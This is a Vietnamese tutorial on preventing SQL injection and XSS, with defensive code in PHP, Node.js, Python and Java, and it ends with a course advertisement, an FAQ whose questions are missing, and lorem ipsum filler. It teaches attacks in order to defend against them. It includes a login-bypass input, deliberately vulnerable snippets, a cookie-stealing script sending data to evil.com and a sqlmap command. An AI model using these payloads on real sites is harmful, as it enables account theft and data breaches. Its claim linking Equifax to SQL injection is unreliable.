SQL Injection là gì? Tại sao nguy hiểm? {#sql-injection}
SQL Injection phòng chống là kỹ thuật tấn công mà kẻ xấu chèn mã SQL độc hại vào các trường nhập liệu của ứng dụng, nhằm thao túng cơ sở dữ liệu phía sau.
Ví dụ tấn công điển hình
Giả sử ứng dụng có đoạn code đăng nhập như sau (PHP thuần, không an toàn):
php
// ❌ CODE NGUY HIỂM - KHÔNG SỬ DỤNG
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";Kẻ tấn công nhập vào ô username: admin' --
Câu SQL trở thành:
sql
SELECT * FROM users WHERE username='admin' --' AND password='...'Dấu -- là comment trong SQL, khiến phần kiểm tra mật khẩu bị bỏ qua hoàn toàn. Kẻ tấn công đăng nhập thành công mà không cần biết mật khẩu.
Hậu quả thực tế của SQL Injection
| Mức độ | Hệ quả |
|---|---|
| Nhẹ | Đọc dữ liệu nhạy cảm (email, họ tên, địa chỉ) |
| Trung bình | Xóa hoặc sửa dữ liệu toàn bộ database |
| Nghiêm trọng | Chiếm quyền admin, cài backdoor lên server |
| Thảm họa | Rò rỉ dữ liệu hàng triệu người dùng |
Thực tế đáng lo ngại: Theo OWASP Top 10 2021, Injection (bao gồm SQL Injection) vẫn nằm trong nhóm lỗ hổng nguy hiểm nhất. Vụ rò rỉ dữ liệu của Yahoo (3 tỷ tài khoản) và Equifax đều liên quan đến SQL Injection.
XSS là gì? Các dạng tấn công phổ biến {#xss}
Cross-Site Scripting (XSS) là kỹ thuật tấn công chèn mã JavaScript độc hại vào trang web, khiến trình duyệt của người dùng khác thực thi mã đó.
Ba dạng XSS chính
1. Stored XSS (Persistent XSS) Payload độc hại được lưu vào database (ví dụ: bình luận, tên hiển thị) và thực thi mỗi khi trang được tải.
html
<!-- Kẻ tấn công đăng bình luận chứa: -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>2. Reflected XSS Payload nằm trong URL, thực thi ngay khi nạn nhân nhấp vào link độc hại.
https://example.com/search?q=<script>alert('XSS')</script>3. DOM-based XSS Payload được xử lý hoàn toàn phía client thông qua JavaScript, không qua server.
javascript
// ❌ Code nguy hiểm
document.getElementById('output').innerHTML = location.hash.substring(1);Hậu quả của tấn công XSS
- Đánh cắp cookie/session → chiếm tài khoản người dùng
- Keylogging → ghi lại mọi thao tác gõ phím
- Phishing nội bộ → hiển thị form giả mạo ngay trong trang hợp lệ
- Phát tán malware → redirect người dùng đến trang tải virus
Nguyên tắc xử lý Input an toàn {#input-an-toan}
Trước khi đi vào kỹ thuật cụ thể, cần nắm vững 3 nguyên tắc vàng:
Nguyên tắc 1: Never Trust User Input (Không bao giờ tin tưởng đầu vào)
Mọi dữ liệu đến từ bên ngoài đều phải được coi là độc hại cho đến khi được xác thực. Điều này bao gồm:
- Form field từ người dùng
- Tham số URL và query string
- Cookie và HTTP header
- Dữ liệu từ API bên thứ ba
- File upload
Nguyên tắc 2: Validate ở Server, không chỉ ở Client
JavaScript validation phía client dễ bị bỏ qua. Luôn validate lại ở server-side, dù đã có client-side validation.
Nguyên tắc 3: Defense in Depth (Bảo mật theo lớp)
Không có một biện pháp duy nhất nào là đủ. Kết hợp nhiều lớp bảo vệ: validation → parameterized queries → output encoding → CSP header.
SQL Injection phòng chống: Kỹ thuật và code mẫu {#phong-chong-sql}
Phương pháp 1: Prepared Statements (Quan trọng nhất)
Prepared Statements (hay Parameterized Queries) là cách hiệu quả nhất để SQL injection phòng chống. Kỹ thuật này tách biệt hoàn toàn code SQL và dữ liệu người dùng.
PHP + PDO:
php
// ✅ AN TOÀN - Sử dụng Prepared Statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $hashedPassword]);
$user = $stmt->fetch();Node.js + MySQL2:
javascript
// ✅ AN TOÀN
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, hashedPassword]
);Python + psycopg2:
python
# ✅ AN TOÀN
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, hashed_password)
)Java + JDBC:
java
// ✅ AN TOÀN
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, hashedPassword);
ResultSet rs = stmt.executeQuery();Tại sao Prepared Statement an toàn? Database engine phân tích cú pháp SQL trước khi nhận dữ liệu người dùng. Dữ liệu được truyền vào chỉ được xử lý như dữ liệu thuần túy, không bao giờ được thực thi như code SQL.
Phương pháp 2: Sử dụng ORM
ORM (Object-Relational Mapping) như Eloquent (Laravel), SQLAlchemy, Hibernate tự động sử dụng parameterized queries.
Laravel Eloquent:
php
// ✅ AN TOÀN - ORM tự động escape
$user = User::where('username', $username)
->where('password', $hashedPassword)
->first();Django ORM:
python
# ✅ AN TOÀN
user = User.objects.filter(username=username, password=hashed_password).first()Lưu ý quan trọng: Ngay cả khi dùng ORM, tránh dùng .raw() hoặc .query() trực tiếp với dữ liệu người dùng chưa sanitize.
Phương pháp 3: Validate và Whitelist dữ liệu đầu vào
Không phải lúc nào cũng có thể dùng prepared statement (ví dụ: tên cột động). Khi đó, áp dụng whitelist.
php
// Chỉ cho phép các tên cột hợp lệ
$allowedColumns = ['name', 'email', 'created_at'];
$sortColumn = in_array($request->sort, $allowedColumns) ? $request->sort : 'name';
$query = "SELECT * FROM users ORDER BY $sortColumn";Phương pháp 4: Nguyên tắc Least Privilege cho Database
Cấu hình tài khoản database của ứng dụng với quyền tối thiểu cần thiết:
sql
-- Chỉ cấp quyền cần thiết
GRANT SELECT, INSERT, UPDATE ON app_database.* TO 'app_user'@'localhost';
-- KHÔNG cấp DROP, ALTER, FILE, SUPERPhương pháp 5: Kiểm tra bảo mật thường xuyên
bash
# Dùng sqlmap để kiểm tra (trong môi trường development/staging)
sqlmap -u "https://example.com/login" --data="username=test&password=test" --batch
# Hoặc dùng OWASP ZAP để scan toàn bộ ứng dụng
Phòng chống XSS: Output Encoding và CSP {#phong-chong-xss}
Kỹ thuật 1: Output Encoding (HTML Escaping)
Quy tắc vàng: Encode dữ liệu theo ngữ cảnh (context) khi xuất ra.
HTML Context: khi hiển thị trong nội dung trang:
// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');// JavaScript thuần
function escapeHtml(text) {
const div = document.createElement('div');
div.appendChild(document.createTextNode(text));
return div.innerHTML;
}
// Hoặc dùng DOMPurify (thư viện phổ biến)
const clean = DOMPurify.sanitize(userInput);# Python với Jinja2 (mặc định auto-escape)
{{ user_input }} {# Tự động escape #}
{{ user_input | safe }} {# ❌ Nguy hiểm - không dùng nếu không chắc #}JavaScript Context — khi dùng trong JS inline:
<!-- ❌ NGUY HIỂM -->
<script>var name = "{{ userName }}";</script>
<!-- ✅ AN TOÀN - JSON encode -->
<script>var name = {{ userName | tojson }};</script>URL Context: khi dùng trong URL:
// PHP
echo urlencode($userInput);// JavaScript
const safeUrl = encodeURIComponent(userInput);Attribute Context: khi dùng trong thuộc tính HTML:
<!-- ✅ AN TOÀN - luôn dùng dấu ngoặc kép -->
<input value="<?= htmlspecialchars($value, ENT_QUOTES) ?>">Kỹ thuật 2: Content Security Policy (CSP)
CSP là HTTP header cho phép bạn kiểm soát nguồn tài nguyên nào được phép tải trên trang.
# Apache .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'"nginx
# Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';";php
// PHP
header("Content-Security-Policy: default-src 'self'; script-src 'self';");CSP tối thiểu khuyến nghị:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
object-src 'none';
base-uri 'self';
form-action 'self';Kỹ thuật 3: Sử dụng Framework an toàn
Các framework hiện đại đã tích hợp sẵn cơ chế chống XSS:
| Framework | Cơ chế bảo vệ |
|---|---|
| React | Tự động escape trong JSX (trừ dangerouslySetInnerHTML) |
| Vue.js | Auto-escape trong template (trừ v-html) |
| Angular | DomSanitizer cho phép kiểm soát rendering |
| Laravel Blade | {{ }} tự động escape; {!! !!} không escape |
| Django | Auto-escape trong template mặc định |
React — tránh dangerouslySetInnerHTML:
jsx
// ❌ NGUY HIỂM
<div dangerouslySetInnerHTML={{ __html: userContent }} />
// ✅ AN TOÀN - dùng DOMPurify nếu cần render HTML
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />Kỹ thuật 4: HttpOnly và Secure Cookie
Ngăn JavaScript đọc cookie session:
php
// PHP
session_set_cookie_params([
'httponly' => true,
'secure' => true, // Chỉ gửi qua HTTPS
'samesite' => 'Strict', // Ngăn CSRF
]);
session_start();javascript
// Node.js Express
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict'
}
}));Checklist bảo mật Input/Output đầy đủ {#checklist}
Checklist SQL Injection phòng chống
- Tất cả câu query dùng Prepared Statements hoặc ORM
- Không có string concatenation trực tiếp vào câu SQL
- Tên bảng/cột động sử dụng whitelist
- Tài khoản DB có quyền tối thiểu (Least Privilege)
- Error message không tiết lộ cấu trúc database
- Đã chạy SQLMap hoặc công cụ scan tương đương
- Stored procedure không dùng EXEC với input động
Checklist chống XSS
- Tất cả output dùng context-aware encoding
- Content Security Policy đã được cấu hình
- Cookie có flag HttpOnly và Secure
- Không dùng
eval(),innerHTMLvới dữ liệu người dùng - Đã tắt
X-XSS-Protection(deprecated) và dùng CSP thay thế - File upload kiểm tra MIME type thực, không chỉ extension
- DOM manipulation dùng
textContentthayinnerHTML
Checklist chung Input Validation
- Validate độ dài (min/max length)
- Validate kiểu dữ liệu (số, email, date…)
- Validate format bằng regex với whitelist approach
- Validate ở cả client và server
- Rate limiting cho các form nhạy cảm (login, register)
- CSRF token cho mọi form thay đổi dữ liệu
Kết luận
SQL injection phòng chống và chống XSS không phải là tùy chọn. Đây là yêu cầu cơ bản của bất kỳ ứng dụng web nào. Hai nguyên tắc cốt lõi cần nhớ:
- Với database: Luôn dùng Prepared Statements, không có ngoại lệ.
- Với output HTML: Luôn encode theo ngữ cảnh và triển khai CSP.
Bảo mật là một hành trình liên tục, không phải đích đến. Việc nắm vững hai kỹ thuật trên sẽ loại bỏ phần lớn nguy cơ bị tấn công vào ứng dụng web của bạn.
Bạn muốn đi sâu hơn vào bảo mật web?
Những kiến thức trong bài viết này chỉ là phần nổi của tảng băng. Để xây dựng ứng dụng web thực sự an toàn từ kiến trúc đến triển khai: từ authentication, authorization, HTTPS, đến bảo mật API và cloud infrastructure. Khóa học được xây dựng bởi GSX – công ty cung cấp dịch vụ bảo mật lớn nhất Nhật Bản và được kiểm chứng bởi hàng triệu kỹ sư đến từ hơn 400 doanh nghiệp trên toàn thế giới.
Tìm hiểu khóa Thiết kế website bảo mật → Khóa học được GSX chuyển giao độc quyền cho CO-WELL Tech Academy
Khóa học thực chiến, hướng dẫn từ nền tảng đến nâng cao, giúp bạn tự tin xây dựng và audit ứng dụng web an toàn trong môi trường sản xuất thực tế.
Bạn đang có băn khoăn nào cần được giải đáp?
Phần lớn là không, nhưng vẫn cần cẩn thận khi dùng raw query trong ORM. Ví dụ whereRaw() trong Laravel hay execute() trong SQLAlchemy vẫn có thể dính SQL Injection nếu truyền thẳng input người dùng.
Đủ cho HTML context, nhưng không đủ cho JavaScript context, URL context, hay CSS context. Cần encode theo đúng ngữ cảnh (context-aware encoding).
Có thể gây phức tạp ban đầu, nhưng đây là đánh đổi xứng đáng. Bắt đầu với chế độ Content-Security-Policy-Report-Only để theo dõi mà không chặn, rồi siết chặt dần.
Không hoàn toàn. MongoDB và các NoSQL database cũng dễ bị injection (NoSQL Injection), chỉ khác cú pháp. Nguyên tắc phòng chống tương tự: luôn dùng parameterized/sanitized queries.
WAF là lớp bảo vệ bổ sung tốt, nhưng không thể thay thế việc viết code an toàn. WAF có thể bị bypass và không phát hiện được tất cả các biến thể tấn công. Hãy fix từ gốc rễ trong code.
Dùng các công cụ như OWASP ZAP (miễn phí), Burp Suite, hoặc sqlmap trong môi trường test. Ngoài ra, nên thuê pentest định kỳ và sử dụng SAST tools (Static Application Security Testing) trong CI/CD pipeline.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.


